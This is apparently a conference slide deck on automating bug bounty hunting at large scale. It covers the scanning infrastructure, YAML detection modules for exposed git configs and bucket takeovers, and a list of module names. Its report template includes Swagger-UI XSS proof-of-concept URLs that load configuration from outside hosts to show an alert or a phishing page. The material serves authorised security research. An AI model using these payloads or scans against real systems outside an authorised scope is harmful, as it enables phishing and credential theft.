

# **Learnings from scanning 2 million hosts daily for Bug Bounty**

# 1 | whoami



## **Dawid Moczadło**

- Co-founder of Vidoc Security Lab
- Bug bounty hunter (ex-Top 1 in Poland)
- CTF player for P4
- Climber and coffee lover

## 2 Story

We made

**\$120 000**

in bug bounty using  
only automation

facebook

PayPal™

SAMSUNG

GitLab

Microsoft

SONY

amazon

verizon<sup>v</sup>  
media

Spotify

shopify

# 3 Scale

- **1300** bug bounty programs (public and private)
- **3000** root domains
- **2** million unique web servers daily
- **100+** million HTTP requests daily
- **200+** security issues detected weekly


## 4 Initial goal

We want to automate our bug bounty and do it  
**cheap (\$\$)**

# 4

## First try, let's use open source

- Amass + Subfinder
- Nmap
- Nuclei
- Kubernetes
- Google Cloud



# 4

## ...and it failed

- Nuclei, Amass, and Nmap **were turbo slow**
- **Workers were too expensive** - they worked all the time
- The database was overloaded and too slow
- Networking costs of Google Cloud were too high


## 5 | Next iteration - goals

- Speed and accuracy
- Scanning only 3000 of the most popular ports
- Decreasing costs



## 6 Next iteration

- Amass + Subfinder
- ~~Nmap~~ Masscan
- ~~Nuclei~~ Custom Scanning Engine
- Kubernetes
- ~~Google Cloud~~ Digitalocean
- Automatic scaling 0 machines
- IP Rotation (for every scan)
- NoSQL DB



## 7

# Custom Scanning Engine

- Optimized for big-scale
- We took everything good from Nuclei and **we made it better**
- Speed >>>

```
1  id: git-config
2
3  info:
4    name: Git Config Disclosure
5    author: vidocsecurity
6    severity: medium
7    type: information-disclosure
8    description: Searches for the pattern /.git/config and log file on passed URLs.
9    tags: config,git,exposure
10
11  trigger:
12    on-host: "subdomain_id:*"
13
14  recheck-every:
15    days: 1
16
17  on-match:
18    - report-vulnerability
19
20  requests:
21    - method: "GET"
22      path:
23        - "/.git/config"|
24
25      matchers-condition: and
26      matchers:
27        - type: word
28          part: body
29          condition: and
30          words:
31            - "[core]"
```

# 8 Custom Scanning Engine

- Scheduled scanning
- Defining query to match targets (only specific technology)

```
1 id: git-config
2
3 info:
4   name: Git Config Disclosure
5   author: vidocsecurity
6   severity: medium
7   type: information-disclosure
8   description: Searches for the pattern /.git/config and log file on passed URLs.
9   tags: config,git,exposure
10
11 trigger:
12   on-host: "subdomain_id:*"
13
14 recheck-every:
15   days: 1
16
17 on-match:
18   - report-vulnerability
19
20 requests:
21   - method: "GET"
22     path:
23       - "/.git/config"
24
25 matchers-condition: and
26 matchers:
27   - type: word
28     part: body
29     condition: and
30     words:
31       - "[core]"
```

## 9


# Custom Scanning Engine

- Global Matchers
  - Match on responses from different modules
  - Passive Modules
  - Like a grep for all responses
- Great for finding weird bugs
  - Bucket takeovers
  - DB errors

```
1 id: aws-bucket-takeover
2
3 info:
4   name: AWS Bucket Takeover Detection
5   author: vidocsecurity
6   type: takeover
7   description: AWS Bucket takeover
8   severity: medium
9   tags: takeover,aws,bucket
10  reference: https://github.com/Ed0verflow/can-i-take-over-xyz
11
12 on-match:
13   - report-vulnerability
14
15 global-matchers:
16   matchers-condition: and
17   matchers:
18     - type: word
19       condition: and
20       part: body
21       words:
22         - 'The specified bucket does not exist'
23
24     - type: word
25       negative: true
26       condition: and
27       part: header
28       words:
29         - 'AliyunOSS'
30
31     - type: word
32       condition: or
33       part: body
34       words:
35         - 'BucketName'
36         - 'Resource'
```

# 10 | Our scanning approach


- Write **custom modules or edit existing ones**
- Created/edited 71 modules in one year
- Used max 30 modules
- Collaborate with others!
- **Scan for the same bugs, over and over...**



```

  ▾ general
    ▫ daily-fetch.module.yaml
    ▫ general-ssrf.module.yaml
    ▫ jwt-ssrf.module.yaml
  ▾ interesting-files
    ▫ appsettings.module.yaml
    ▫ git-credentials.module.yaml
    ▫ sql-dump.module.yaml
    ▫ wpconfig-leak.module.yaml
  ▾ missconfigurations
    ▫ alteryx-public-gallery.module.yaml
    ▫ apache-server-status.module.yaml
    ▫ basic-xss.module.yaml
    ▫ bucket-reflected-from-path.module.ya...
    ▫ directory-listing.module.yaml
    ▫ django-debug.module.yaml
    ▫ elasticsearch.module.yaml
    ▫ exposed-prometheus-panel.module.ya...
    ▫ git-config.module.yaml
    ▫ go-pprof-debug.module.yaml
    ▫ grafana-file-read.module.yaml
    ▫ grafana-image-renderer.module.yaml
    ▫ grafana-signup-enabled.module.yaml
    ▫ grafana-weak-credentials.mod... 1, M
    ▫ haproxy-stats-page.module.yaml
    ▫ kubernetes-pods.module.yaml
    ▫ nginx-merge-slashes-traversal.module...
    ▫ springboot-env.module.yaml
    ▫ springboot-heapdump.module.yaml
    ▫ svn.module.yaml
    ▫ swagger-ui.module.yaml
    ▫ symfony-debugmode.module.y... 1, M
    ▫ symfony-profiler.module.yaml 1, M
    ▫ wordpress-install.module.yaml
  ▾ openapi-research
    ▫ open-api-definition.yaml
    ▫ swagger-config.module.yaml
    ▫ swagger-resources-security.module.ya...
    ▫ swagger-resources.module.yaml
  ▾ takeovers
    ▫ aws-bucket-takeover.module.y... 1, M
  ▾ wordpress-plugins
    ▫ jh-404-logger.module.yaml


```



```

  ▾ 0days
    ▫ cve-2021-3129.module.yaml
    ▫ cve-2022-26134.module.yaml
    ▫ CVE-2022-31474.module.yaml


```



```

  ▾ fingerprints
    ▫ airflow.module.yaml
    ▫ alteryx.module.yaml
    ▫ apache.module.yaml
    ▫ apisix.module.yaml
    ▫ awselb-403.module.yaml
    ▫ big-ip-icontrol.module.yaml
    ▫ bitwarden.module.yaml
    ▫ confluence.module.yaml
    ▫ discourse.module.yaml
    ▫ google-analytics-for-wordpress.m... 1
    ▫ grafana.module.yaml
    ▫ h2-console.yaml
    ▫ ibm-webcommerce.module.yaml
    ▫ nginx.module.yaml
    ▫ roundcube-webmail-portal.module.yaml
    ▫ wordpress.module.yaml

```




```

  ▾ collaboration
    ▫ [redacted].module.yaml
    ▫ [redacted].yaml
    ▫ [redacted].module.yaml
    ▫ [redacted].print.yaml
    ▫ [redacted].yaml
    ▫ [redacted].ct.module...
    ▫ [redacted].yaml
    ▫ [redacted]-200-vs-...
    ▫ [redacted].module.y...


```

# 11 We are finding bugs! Too many bugs

- **200+** security issues detected weekly
- Being too slow == **duplicate**
- Manual escalation for better payouts **\$\$**
- Unpredictable revenue



# 12 Semi-automatic reporting



```
## Title:
XSS on {{endpoint}}

## Summary:
On {{endpoint}} you are using an old version of Swagger-UI, which is vulnerable to Cross-Site Scripting. The attacker can execute arbitrary JS code in the user's browser, so the attacker is able to do whatever a user who clicked on the link could do (steal user credentials/API keys etc.).

## Description:
Some Swagger IU old versions are exploitable by overwriting its configuration with the ?configUrl or ?url parameter. By doing so, you can override the page to do a malicious act, while it still has a trustworthy URL. And no authentication is needed to exploit this vulnerability

## Steps To Reproduce (with ?configUrl=):
POC with alert box:
    1. Go to: {{endpoint}}?configUrl=https://jumpy-floor.surge.sh/test.json
    2. You should see an alert box (screenshot attached)
POC with phishing page:
    1. Go to: {{endpoint}}?configUrl=https://tearful-earth.surge.sh/test.json
    2. You should see a phishing page (screenshot attached)

## Steps To Reproduce (with ?url=):
POC with alert box:
    1. Go to: {{endpoint}}?url=https://jumpy-floor.surge.sh/test.yaml
    2. You should see an alert box (screenshot attached)
POC with phishing page:
    1. Go to: {{endpoint}}?url=https://tearful-earth.surge.sh/test.yaml
    2. You should see a phishing page (screenshot attached)

## Recommendations:
Update Swagger-UI version.

## Impact:
The attacker can steal users' credentials/API keys etc. The easiest way to do this would be to create a phishing page to manipulate user.

## Resources / Supporting Material:
- https://www.vidocsecurity.com/blog/hacking-swagger-ui-from-xss-to-account-takeovers/
```

# 13 Key learnings

- Building **good infrastructure** for bug bounty is **turbo-hard** and you will have to maintain it
- **You can't report everything** - there is not enough time
- Scan for the same bugs every day
  - **Developers constantly change code** and they will make mistakes
- Prioritize only good bug bounty programs - do not waste time reporting to the bad ones



# 14 | How to win with automation in 2023?

- Rescan often for the same bugs - every X hours (**be consistent**)
  - git-config
  - directory-listing
  - exposed elastic search, prom
  - debug mode in Django
  - spring-boot heap dump
  - subdomain takeovers (aws, github...)
  - ...

# 15 | How to win with automation in 2023?

- Find new and unknown misconfigurations or variations (**be smarter**)
  - Edit existing modules
  - Add more paths or params for fuzzing

# 16 | How to win with automation in 2023?

- Look for new CVEs and develop POCs first **(be faster)**
  - Log4Shell (we made)
  - Confluence Oday CVE-2022-26134
  - ...

# 17 | How to win with automation in 2023?

- Automate scanning on private programs - people usually scan only public programs
  - We had access to ~400 private programs
  - Hackerone, Intigrity, Bugcrowd, Yeswehack, Hackenproof, ...

# Thank you!

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